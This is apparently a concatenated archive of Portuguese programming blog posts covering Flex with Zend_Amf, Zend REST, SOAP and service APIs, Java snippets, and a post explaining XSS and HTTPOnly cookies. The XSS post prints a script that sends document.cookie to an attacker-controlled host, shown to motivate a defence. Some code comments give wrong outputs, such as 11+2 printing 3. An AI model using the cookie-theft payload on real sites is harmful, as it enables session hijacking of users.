Neste artigo vamos mostrar como criar uma simples aplicação em Flex comunicando-se com uma aplicação PHP no lado do servidor. No lado do servidor vamos utilizar o componente Zend_Amf que é distribuído junto com o Zend Framework. Este componente é responsável por tornar possível a comunicação entre aplicações Flash e PHP. No nosso exemplo vamos utilizar a comunicação entre uma aplicação Flash gerado por Adobe Flex. Para quem não sabe, o Adobe Flex é o nome de uma tecnologia criada pela Macromedia com o objetivo de criar aplicações ricas para Internet. Existe um SDK para Adobe Flex, que no final irá gerar um arquivo Flash para ser incorporado em sua aplicação. Vamos falar um pouco sobre o Zend_Amf.

Zend_Amf

O componente Zend_Amf suporta o protocolo AMF (Action Message Format) da Adobe que é usado pelo Flash para se comunicar com aplicações remotas através de trocas de mensagens.

A especificação do AMF é disponível gratuitamente e serve como referência para quem deseja criar aplicações que irão se comunicar com aplicações Flash. (A documentação é para aqueles que querem criar seu próprio protocolo de comunicação, que não é o nosso caso, já que o Zend_Amf já faz esse trabalho).

Instalando Adobe Flash Builder

Para criação da nossa aplicação Flex, vamos utilizar o Adobe Flash Builder, que pode ser baixado através do link
http://www.adobe.com/go/try_flashbuilder_br. Você precisa ter uma conta no site da Adobe para poder realizar o download. O processo de instalação é simples. Caso você não tenha uma licensa do Adobe Flash Builder você poderá utilizá-lo para testes por 60 dias. Após isso será necessário a utilização de uma licensa.

No Servidor

Vamos criar nosso arquivo server.php dentro do diretório amf na raiz do projeto no webserver. Ele será reponsável entre a comunicação do FLex com nossa aplicação PHP. Para este exemplo estamos disponibilizando o método Ola da classe Usuario que é responsável por retornar uma string inserindo nela o parâmetro enviado para o método. Podemos disponibilizar quantas classes for preciso através do método setClass do Zend_Amf_Server. A utilização do Zend_Amf_Server é bem simples como você pode ver abaixo.

A classe Zend_Amf_Server permite também que você carregue classes dinâmicamente. Você pode especificar um local onde estão localizados todos os arquivos de suas classes através do método addDirectory.

Para mais detalhes, acessar:
http://framework.zend.com/manual/en/zend.amf.server.html

<?php

/* incluindo lib do Zend_Amf_Server */
require_once('Zend/Amf/Server.php');

// instanciando o objeto do Zend_Amf
$server = new Zend_Amf_Server();

// Desabilita o modo producao para ajudar no debug.
// Habilitar quando colocar em producao
$server->setProduction(false);

// vamos disponibilizar a classe usuario para a aplicacao Flex
$server->setClass('Usuario');

// cria a resposta do classe Usuario em AMF
echo $server->handle();

/**
 * Definicao da Classe Usuario
 */
class Usuario {
        /**
         * @param string $nome
         * @return string
         */
        public function Ola($nome) {
                return "Ola $nome, Bem Vindo ao Flash com Zend_Amf";
        }
}

Perceba que usamos blocos de comentários nos métodos da nossa classe. Eles serão usados pelo Zend. É necessário que você documente no mínimo os parâmetros de entrada e o retorno de cada método disponibilizado para a aplicação Flex.

Veja também que colocamos setProduction para false, que ajuda no debug da aplicação! Lembre-se de Comentar essa linha quando estiver em produção!

Criando Aplicação Flex

Após realizado o download e instalado o Adobe Flash Builder, estamos aptos à criar nossas aplicações Flex. Inicie a IDE. Nosso primeiro passo é criar um projeto. em File -> New -> Flex Project.

Irá abrir uma nova janela com as instruções para criação do novo projeto. Insira o nome da projeto e clique no botão Finish. Para o exemplo deste artigo o nome do projeto usado foi HelloZend.

O próximo passo é criar um arquivo de configuração para que o Flex possa se comunicar com o PHP. Neste arquivo estaremos parametrizando o endpoint, ou seja, a URL que o Flex utilizará para se comunicar com o Zend. O nome do arquivo que vamos criar é o services-config.xml. Crie o arquivo dentro da pasta src do seu projeto.

Insira o conteúdo abaixo no arquivo services-config.xml

<?xml version="1.0" encoding="UTF-8"?>
<services-config>
    <services>
        <service id="zend-service"
            class="flex.messaging.services.RemotingService"
            messageTypes="flex.messaging.messages.RemotingMessage">
            <destination id="zend">
                <channels>
                    <channel ref="zend-endpoint"/>
                </channels>
                <properties>
                    <source>*</source>
                </properties>
            </destination>
        </service>
    </services>
    <channels>
        <channel-definition id="zend-endpoint"
            class="mx.messaging.channels.AMFChannel">
            <endpoint uri="http://127.0.0.1/amf/server.php"
                class="flex.messaging.endpoints.AMFEndpoint"/>
        </channel-definition>
    </channels>
</services-config>

No arquivo services-config.xml criado anteriormente altere a URL na tag endpoint para que aponte para seu script PHP que criamos no ínicio do artigo (que utiliza o Zend_Amf_Server).

...
<endpoint uri="http://127.0.0.1/amf/server.php"
                class="flex.messaging.endpoints.AMFEndpoint"/>
...

Agora é necessário dizer ao Flash Builder para utilizar o arquivo services-config.xml durante a compilação do projeto. Clique com o botão direito do mouse no nome do projeto e em Properties. Entre na seção Flex Compiler e adicione o parâmetro -services services-config.xml no quadro Additional compile arguments:

Vamos criar agora o RemoteObject que irá se comunicar com o servidor. O código adiante deverá ser inserido no arquivo HelloZend.mxml. O RemoteObject deve estar dentro da tag Declarations.

<mx:RemoteObject id="mysource"
   source="Usuario"
   showBusyCursor="true"
   fault="faultListener(event)"
   destination="zend">
	<mx:method name="Ola" result="testarConexao(event)"/>
</mx:RemoteObject>

Segue a descrição dos atributos usados no RemoteObject:

• id=”mysource”, Nome do elemento RemoteObject para podermos referenciá-lo nos scripts.
• source=”Usuario”, Nome da classe no PHP.
• showBusyCursor=”true”, Muda o ícone do mouse enquanto estiver aguardando a resposta da requisição.
• fault=”faultListener(event)”, Tratamento dos erros será realizado pela função falutListener.
• destination=”zend”, Referencia o destination criado no arquivo services-config.xml.

Perceba que declaramos o método Ola que corresponde ao método Ola da nossa classe Usuario no PHP. O retorno da requisição do método Ola será tratado pela função testarConexao que vamos criar adiante.

O próximo passo é a criação dos listeners: testarConexao responsável por tratar o retorno da requisição; faultListener responsável por tratar algum possível erro durante a requisição. Os listeners devem estar dentro da tag fx:Script.

<fx:Script>
		<![CDATA[
			import mx.controls.Alert;
			import mx.rpc.events.ResultEvent;
			import mx.rpc.events.FaultEvent;
			
			public function testarConexao(event:ResultEvent):void	{
				Alert.show(event.result.toString());
			}
			
			private function faultListener(event:FaultEvent):void {
				Alert.show(event.fault.message, "Error");
			}
			
		]]>
	</fx:Script>

O processamento dos listeners é bem simples, exibir um Alert com o resultado da requisição enviado para o Zend e, caso ocorra erro, exibir um alert com os detalhes do erro ocorrido.

Vamos agora criar o botão que deverá disparar a requisição para o Zend:

	<mx:VBox top="30" left="100">
		<mx:Button label="Testar Flex-Zend" click="mysource.Ola('Douglas')" />
	</mx:VBox>

Pronto, já temos nossa aplicação Flex pronta.
Para facilitar o seu teste, segue abaixo o código fonte completo do arquivo HelloZend.mxml:

<?xml version="1.0" encoding="utf-8"?>
<s:Application xmlns:fx="http://ns.adobe.com/mxml/2009" 
			   xmlns:s="library://ns.adobe.com/flex/spark" 
			   xmlns:mx="library://ns.adobe.com/flex/mx" minWidth="955" minHeight="600">
	<fx:Declarations>
		<!-- Place non-visual elements (e.g., services, value objects) here -->
		
		<mx:RemoteObject id="mysource"
						 source="Usuario"
						 showBusyCursor="true"
						 fault="faultListener(event)"
						 destination="zend">
			
			<mx:method name="Ola"
					   result="testarConexao(event)"/>
		</mx:RemoteObject>
		
		
	</fx:Declarations>
	
	<fx:Script>
		<![CDATA[
			import mx.controls.Alert;
			import mx.rpc.events.ResultEvent;
			import mx.rpc.events.FaultEvent;
			
			public function testarConexao(event:ResultEvent):void	{
				Alert.show(event.result.toString());
			}
			
			private function faultListener(event:FaultEvent):void {
				Alert.show(event.fault.message, "Error");
			}
			
		]]>
	</fx:Script>
	
	
	<mx:VBox top="30" left="100">
		<mx:Button label="Testar Flex-Zend" click="mysource.Ola('Douglas')" />
	</mx:VBox>
	
</s:Application>

Ao executar nossa aplicação Flex, teremos a seguinte tela:

Ao clicar no botão, será disparado nossa requisição para o Zend:

É isso ae. Agora é só expandir o Hello World para aplicações maiores. Boa Sorte!

Muitos de nós já conhecemos ou já ouvimos falar de XSS (Cross-site Scripting). XSS é uma vulnerabilidade explorada em aplicações web onde uma usuário mal intencionado consegue injetar códigos javascripts em uma página que posteriormente será lida por um usuário qualquer. Brechas desse tipo podem ser encontrada em vários sites ou em aplicações web.

Um ataque muito explorado em XSS é o roubo dos cookies de sessão do usuário. O roubo dos cookies é realizado através de um comando javascript que envia os cookies para uma URL externa onde o usuário atacante tem controle.

Por exemplo, caso o atacante consiga inserir o código abaixo em uma aplicação onde não é realizado o tratamento correto ao exibir as informações para outro usuário, o código, ao invés de ser exibido na tela do usuário, será executado diretamente no navegador fazendo com que os cookies sejam enviados para o site do atacante.

<script type="text/javascript">
new Image().src="http://www.sitedoatacante.com.br/cookies.php?c="+encodeURI(document.cookie);
</script>

Em posse dos cookies, mas especificamente o cookie de sessão, o atacante pode entrar autenticado no site com as mesmas credenciais da vítima, sem que ela saiba.

Cookies HTTPOnly

Cookies HTTPOnly são cookies que podem ser setados pelo servidor ou por javascript porém não podem ser acessados de nenhuma forma por javascript. Para que seja efetiva a funcionalidade do HTTPOnly o navegador deve estar habilitado para isto. A maioria dos navegadores conhecidos respeitam esse parâmetro. Cookies com o parâmetro HTTPOnly dificultam bastante o roubo de sessão através de XSS pois o javascript não consegue ler o conteúdo destes cookies.

Para exemplificar, selecionei abaixo um exemplo de cabeçalho de uma resposta de requisição HTTP onde é setado um cookie com o parâmetro HTTPOnly:

HTTP/1.1 200 OK
Cache-Control: no-cache,private
Content-Length: 9190
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=owhxuuffabkl0n55uhkrwj45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 11 Jan 2012 19:38:13 GMT


PHP e Cookies HTTPOnly

A partir do PHP 5.2.0, as funções setcookie e setrawcookie possuem o parâmetro que seta o HTTPOnly para o cookie que esta sendo criado:

Sintaxe das funções setcookie/setrawcookie:

setcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);
setrawcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);

Setando um cookie no PHP com a flag httpOnly habilitada:

setcookie("TesteCookie", "123456", 0, "/", "example.com", false, true);
setrawcookie("TesteCookie", "123456", 0, "/", "example.com", false, true); // setrawcookie não faz o urlencode no valor do cookie

Caso você queria setar um cookie manualmente utilizando a função header (Pode ser no caso você esteja usando uma versão do php anterior ao 5.2.0 que ainda não suporta httpOnly nas funções setcookie/setrawcookie):

header("Set-Cookie: nome=valor; path=/; httpOnly" );

Por padrão, ao criar uma sessão no PHP, é criado um cookie usado para controlar o acesso do usuário na sessão. Normalmente o cookie é chamado PHPSESSID. Na configuração padrão esse cookie não é httpOlny. Para ativar o parâmetro httpOnly no cookie de sessão do PHP, setar a diretiva session.cookie_httponly no php.ini para true:

session.cookie_httponly = true

Dessa forma você esta deixando sua aplicação mais segura, evitando possíveis ataques que exploram a vulnerabilidade XSS.

Na primeira e segunda parte abordamos a criação e utilização de webservices SOAP e REST. Nesta terceira e final parte vamos conhecer alguns componentes do Zend Framework que funcionam como APIs para diversos serviços em torno da Internet. A comunicação entre esses serviços são realizadas através de webservices utilizando os protocolos SOAP e REST. O Zend Framework mais uma vez facilitou nossa vida encapsulando diversas funcionalidades dentro dessas classes de serviços para minimizar nosso esforço.

A lista de serviços disponíveis pelo Zend Framework pode ser obtida no link abaixo:
http://framework.zend.com/manual/en/zend.service.html

Gostaria de destacar alguns: Amazom, Yahoo, Twitter, Windows Azure, Flickr, SlideShare, Delicious.

Criei dois exemplos para utilização desses serviços à partir do Zend Framework, usando o Twitter e o Delicious.

Zend_Service_Twitter

Criamos abaixo uma aplicação que conecta no twitter com sua conta e realiza algumas operações. A primeira operação irá listar os 20 posts mais recentes dos seus amigos e a segunda operação irá listar os 20 posts mais recentes postados por você.

Para saber mais operações que você pode realizar junto com o Zend Framework, acessar o link: (existem várias)
http://framework.zend.com/manual/en/zend.service.twitter.html

Para poder criar uma aplicação externa que acessa o twitter você também precisa criar um app no site do twitter para desenvolvedor. Mais especificamente no link:
https://dev.twitter.com/apps/new

Após criar sua app no twitter, será necessário obter tokens e chaves para inserir na lib do Zend Framework. Substitua no código abaixo os tokens e chaves correspondentes conforme mencionado.

<?php

/* incluir bibliotecas */
require_once("Zend/Service/Twitter.php");

/* credenciais */
$access = new Zend_Oauth_Token_Access();
$access->setToken('<Accees Token>')->setTokenSecret('<Access token secret>');

$params = array(
        'accessToken' => $access,
        'consumerKey' => '<Consumer key>',
        'consumerSecret' => '<Consumer secret>'
);
$twitter = new Zend_Service_Twitter($params);

/* retorna os 20 status mais recentes postados por seus amigos */
$response = $twitter->status->friendsTimeline();
foreach($response as $info) {
        echo "<h4>{$info->user->name}</h4>";
        echo "<p>{$info->text}</p>";
}

/* retorna os 20 status mais recentes postados por voce */
$response = $twitter->status->userTimeLine();
foreach($response as $info) {
        echo "<h4>{$info->user->name}</h4>";
        echo "<p>{$info->text}</p>";
}

Zend_Service_Delicious

Para quem não conhece, o Delicious é um site que proporciona você encontrar sites interessantes (bookmarks de outros usuários) e também compartilhar seus próprios sites favoritos. Além de poder integrar o Delicious em seu navegador, você também pode criar aplicações via Webservice para manipular as opções que o Delicious oferece.

O Zend Framework disponibiliza uma API de comunicação com o Delicious simples e de fácil manuseio. Antes de mais nada faça seu cadastro no site (veja link acima). Após realizar o cadastro você já pode criar suas próprias aplicações para o Delicious. Abaixo temos uma aplicação que obtem todos bookmarks do seu usuário, filtrando aqueles que possuem a tag “php”, e exibe a saída na tela, informando o título e o link do site que consta no seu favorito.

Para obter mais informação sobre as operações que pode realizar com essa API acesse a documentação do Zend Framework:
http://framework.zend.com/manual/en/zend.service.delicious.html

Segue Exemplo:

<?php

/* incluir bibliotecas */
require_once("Zend/Service/Delicious.php");

/* credenciais */
$delicious = new Zend_Service_Delicious('usuario', 'senha');

/* todos posta */
$posts = $delicious->getAllPosts();

/* filtrar somente aqueles posts que possuem tag php */
foreach ($posts->withTags(array('php')) as $post) {
    echo "<h3>{$post->getTitle()}</h3>";
    echo "<a href=\"{$post->getUrl()}\">{$post->getUrl()}</a>";
}

Saída na tela da execução do script anterior, informando o título e o link para cada registro inserido no seu favoritos do Delicious com a tag php:

Conclusão

O Zend Framework fornece vários outras APIs de comunicação com diversos sites. O objetivo desse artigo foi deixar você a par da existencia dessas APIs e mostrar algumas implementações simples que podem ser realizadas.

Neste segundo post vamos abordar a utilização de webservices usando o protocolo REST junto com Zend Framework. No primeiro artigo vimos como usar webservices usando o protocolo SOAP. Da mesma maneira como o SOAP, o Zend Framework disponibiliza as classes Zend_Rest_Server e Zend_Rest_Client para criar e consumir webservices REST. Veremos adiante.

REST

Representational State Transfer ou simplesmente REST é um estilo de webservice que permite a comunicação entre diferentes aplicações de forma simples. O webservice disponibiliza recursos para seus clientes, onde cada recurso esta disponibilizado em uma URL única. Toda comunicação é feita através do protocolo HTTP usando seus diferentes métodos (GET, POST, PUT, HEAD). O webservice disponibiliza o recurso (resultado da requisição) normalmente representado em forma de HTML ou XML. Essa arquitetura de comunicação é simples e de fácil implementação. Para ter uma idéia, você pode criar clientes REST sem a necessidade de uma lib específica. Combinação de requisições HTTP e a extensão SimpleXML pode ser usada para solucionar diversas situações. E no REST não existe o uso de WSDL como no SOAP.

Por ser mais simples e de fácil implementação em relação ao SOAP, REST é preferido na maioria das vezes pelos programadores. É utilizado em diversos lugares na Web, como Amazon, Microsoft, Twitter, Sun, MySQL entre outros.

Zend_Rest_Server

Zend_Rest_Server tem o objetivo de ser um recurso completo para criação de servers REST. Vamos disponibilizar uma calculadora simples, coma soma e subtração, através de um WebService REST. Segue abaixo a implementação usando Zend_Rest_Server com os métodos soma e subtrai.

Criando o REST Server:

<?php
/* incluir libs */
require_once("Zend/Rest/Server.php");

/* instanciar servidor REST */
$rest = new Zend_Rest_Server();

/* disponibilizar classe Calculadora */
$rest->setClass('Calculadora');
$rest->handle();

/*
 * Classe Calculadora Simples
 */
class Calculadora {

        /* Soma  */
        public function soma($a, $b) {
                return $a + $b;
        }

        /* Subtrai */
        public function subtrai($a, $b) {
                return $a - $b;
        }
}

Veja como é simples a implementação de um Webservice REST. Podemos requisitar o webservice diretamente através de uma requisição GET. É possível implementar nosso próprio cliente REST sem a utilização de nenhuma biblioteca específica.

Exemplos:

Somando 10 + 1::

http://127.0.0.1/rest/server.php?method=soma&a=10&b=1

Subtraindo 10 – 1:

http://127.0.0.1/rest/server.php?method=subtrai&a=10&b=1

Com a utilização do SimpleXML do PHP é possível tratar as respostas do Webservice server de maneira simples.

Zend_Rest_Client

Para facilitar a criação do nosso cliente que consumirá o webservice existe o componente Zend_Rest_Client. Utilizar o Zend_Rest_Client deixa nosso código mais limpo e de fácil manutenção. Abaixo é um exemplo de cliente REST usando o Zend Framework para consumir o Webservice que criamos anteriormente.

<?php
/* incluir libs */
require_once("Zend/Rest/Client.php");

/* instanciando o client rest */
$rest = new Zend_Rest_Client("http://127.0.0.1/rest/server.php");

/* chamando o metodo soma */
echo $rest->soma(10, 5)->get(); // imprime 15

/* chamando o metodo subtrai */
echo $rest->subtrai(10, 5)->get(); //imprime 5

        String md5hash;
        String str = "Calcular hash deste texto";
        
        MessageDigest m = null;
        try {
                m = MessageDigest.getInstance("MD5");
        } catch (NoSuchAlgorithmException e) {
                e.printStackTrace();
        }        
        
        if(m != null) {
            m.update(str.getBytes(),0,str.length());
            md5hash = new BigInteger(1, m.digest()).toString(16);

            System.out.println("Hash Gerado: " + md5hash);
        }

Resultado:

Hash Gerado: d24300b797dfab0df069cb6aaab442b4

Espero que possa ser útil em algum momento.

O construtor da classe ImageIcon aceita um objeto do tipo URL como parâmetro. Você pode especificar uma URL onde esta localizada a imagem desejada. Internamente, na classe ImageIcon, é realizado o preload da imagem usando MediaTracker. Dessa forma é possível monitorar o status de loading desta imagem.

Segue abaixo exemplo de como usar o ImageIcon para carregar uma imagem em uma URL e somente continuar após a imagem ter sido carregada:

        try {
            ImageIcon image = new ImageIcon(new URL("http://www.exemplo.com.br/imagem.png"));
            
            //manter o loop enquanto a imagem estiver sendo carregada
            while(image.getImageLoadStatus() == MediaTracker.LOADING);
        
            //neste momento a imagem já foi totalmente carregada
            
        } catch (MalformedURLException ex) {
            ex.printStackTrace();
        }

Os possíveis status do MediaTracker são: LOADING (Carregando), COMPLETE (Totalmente carregada), ERRORED (Erro ao carregar), ABORTED (Cancelada).

Você pode obter a imagem em um objeto do tipo Image facilmente:

Image img = image.getImage();

Neste artigo vamos abordar a criação e utilização de webservices SOAP usando Zend Framework. Procurei dividir este artigo em 3 posts. Primeiro post vamos abordar o protocolo SOAP, no segundo post vamos abordar o protocolo REST e no terceiro post iremos abordar algumas das principais APIs de comunicação através de webservices implementados pelo Zend Framework.

SOAP

SOAP é um protcolo escrito em XML para comunicação entre diferentes aplicações. A comunicação entre serviços usando SOAP é realizada em cima da camada HTTP. SOAP pode ser implemetando em qualquer linguagem (PHP, Java, ASP, .NET, etc.). Dessa forma criamos um canal de comunicação entre aplicações desenvolvidas em linguagens e plataformas diferentes.

Devido a comunicação do SOAP estar em cima da camada HTTP evita que a comunicação seja bloqueada por um firewall ou proxy pois o protocolo HTTP é liberado nas maioria das vezes.

Para que um cliente SOAP acesse um serviço é necessário requisitar primeiramente um arquivo denominado WSDL (Web Services Description Language). O arquivo WSDL especifica todas as funções disponíveis pelo webservice, os tipos de dados dos parâmetros entre outras informações relevantes. Quando criarmos nossos próprios webservices teremos que disponibilizar também um arquivo WSDL.

Zend Framework

O Zend Framework fornece ferramentas importantes para trabalhar com Webservices. Através do componente Zend_Soap_Client podemos consumir Webservices e com o componente Zend_Soap_Server podemos criar nossos próprios webservices de maneira simples e eficaz. Neste artigo vamos demonstar a utilização desses dois componentes. Vamos criar nossos próprios webservices e depois como consumí-los.

Criando nosso Webservice SOAP

Para criação do webservice em SOAP vamos utilizar a classe Zend_Soap_Server. Para que funcione corretamente nosso webservice, precisamos disponibilizar o arquivo WSDL. Apesar de ser possível trabalhar com SOAP sem a utilização de um arquivo WSDL, conhecido como modo não WSDL (non-WSDL mode), onde no PHP é possível, porém não aconselhado. A maioria das linguagens de programação exigem a utilização de um arquivo WSDL.

O código abaixo é responsável pela criação de nosso webservice. Vamos disponibilizar os métodos soma e subtrai através da classe Calculadora:

<?php
/* incluir as classes necessoarias */
require_once("Zend/Soap/Server.php");
require_once("Zend/Soap/AutoDiscover.php");

if(isset($_GET['wsdl'])) {
        /*
         * Usar o Soap AutoDiscover para criacao do WSDL de forma dinamica
         */
        $autodiscover = new Zend_Soap_AutoDiscover();
        $autodiscover->setClass('Calculadora');
        $autodiscover->handle();
} else {
        // Disponibilizar o webservice atraves do canal:
        $soap = new Zend_Soap_Server("http://127.0.0.1/soap/soap.php?wsdl");
        $soap->setClass('Calculadora');
        $soap->handle();
}

/*
 * Classe calculadora
 */
class Calculadora {

        /**
         * Realiza Soma
         * @param integer $a
         * @param integer $b
         * @return integer
         */
        public function soma($a, $b) {
                return $a + $b;
        }

        /**
         * Realiza Subtracao
         * @param integer $a
         * @param integer $b
         * @return integer
         */
        public function subtrai($a, $b) {
                return $a - $b;
        }
}

Pontos interssantes à observar no webservice acima:

• Zend_Soap_AutoDiscover é responsável pela criação dinâmica do WSDL, poupando nosso tempo de ter que criar o WSDL na mão, que é muito trabalhoso.
• Os blocos de comentário na classe Calculadora ajudam o AutoDiscover na criação do WSDL.

Criando o cliente

Vamos criar um webservice client que irá consumir nosso webservice criado anteriormente:

<?php

/* incluir classes necessarias */
require_once("Zend/Soap/Client.php");

/* canal de chamada para webservice */
$soap = new Zend_Soap_Client("http://127.0.0.1/soap/soap.php?wsdl");
echo $soap->soma(11, 2) . PHP_EOL; // imprime 3
echo $soap->subtrai(11, 2) . PHP_EOL; //imprime 9

Até o próximo. Sucesso!

public void atualizaContador(int contador) {
		contador++;
}

int contador = 0;
atualizaContador(contador);

//contador agora = 0

Existem várias formas de contornar essa situação e obter o resultado desejado, como por exemplo, a criação de uma classe auxiliar… Porém uma maneira bem simples de resolver é criar um array com um único elemento. Arrays de tipos primitivos em java são passados como referência e não por valor:

public void atualizaContador(int[] contador) {
		contador[0]++;
}

int[] contador = new int[1];
contador[0] = 0;
atualizaContador(contador);

//contador[0] agora = 1

Criando JList básico com alguns itens:

DefaultListModel model = new DefaultListModel();
JList list = new JList(model);

model.add(0, "item 1");
model.add(1, "item 2");
model.add(2, "item 3");

Adicionando dados no final do JList de forma dinâmica:

DefaultListModel model = (DefaultListModel) list.getModel();
model.add(model.getSize(), "item final");

Adicionando dados no começo do JList de forma dinâmica:

DefaultListModel model = (DefaultListModel) list.getModel();
model.add(0, "item começo");

Inserindo scroll para o JList:

DefaultListModel model = new DefaultListModel();
JList list = new JList(model);

// adicionar dados no list
// ..
//scroll
JScrollPane jscroll = new JScrollPane(list);

Enviando scroll para o final automaticamente:

DefaultListModel model = new DefaultListModel();
JList list = new JList(model);

// adicionar dados no list
// ..
//scroll
JScrollPane jscroll = new JScrollPane(list);

jscroll.getVerticalScrollBar().addAdjustmentListener(new AdjustmentListener() {  
	public void adjustmentValueChanged(AdjustmentEvent e) {  
	     e.getAdjustable().setValue(e.getAdjustable().getMaximum());  
}});

Limpando itens do JList:

// limpando todo o Jlist
list.setModel(new DefaultListModel());

// limpando todo o JList de outra forma
DefaultListModel model = (DefaultListModel) list.getModel();
model.clear();

// removendo o segundo item do list
mode.remove(1);

// removendo o ultimo item do list
int pos = model.getSize() - 1;
if (pos >= 0) {
    model.remove(pos);
}

Substituíndo itens:

DefaultListModel model = (DefaultListModel) list.getModel();
model.set(0, "Reescrevendo o primeiro item do list");

Selecionando itens no List:

// selecionando o primeiro item
list.setSelectedIndex(0);

// selecionando o ultimo item do list
DefaultListModel model = (DefaultListModel) list.getModel();
list.setSelectedIndex(model.getSize() - 1);

//limpando seleções
list.clearSelection();

“A palestra será transmitida a partir do auditório do Serpro da regional São Paulo, para acompanhar é possível comparecer presencialmente no local da palestra, ou então acompanhar por vídeo streaming livre do Serpro”.

Para maiores informações acessar:
http://www.softwarelivre.gov.br/eventos/tuning-apache-mysql-e-php-para-desenvolvedores/

Detalhes da Palestra:

Tuning Apache/MySQL/PHP para Desenvolvedores

• Introdução
• Apache
• AllowOverride
• ExtendedStatus
• SymLinks
• KeepAlive
• MaxClients
• MySQL
• Monitorando consultas lentas
• max_connections
• query_cache_size
• thread_cache_size
• PHP
• Identificando gargalos
• memcached
• Aceleradores de código
• APC (Alternative PHP Cache)
• Caching com Zend_Cache
• Computação em Nuvem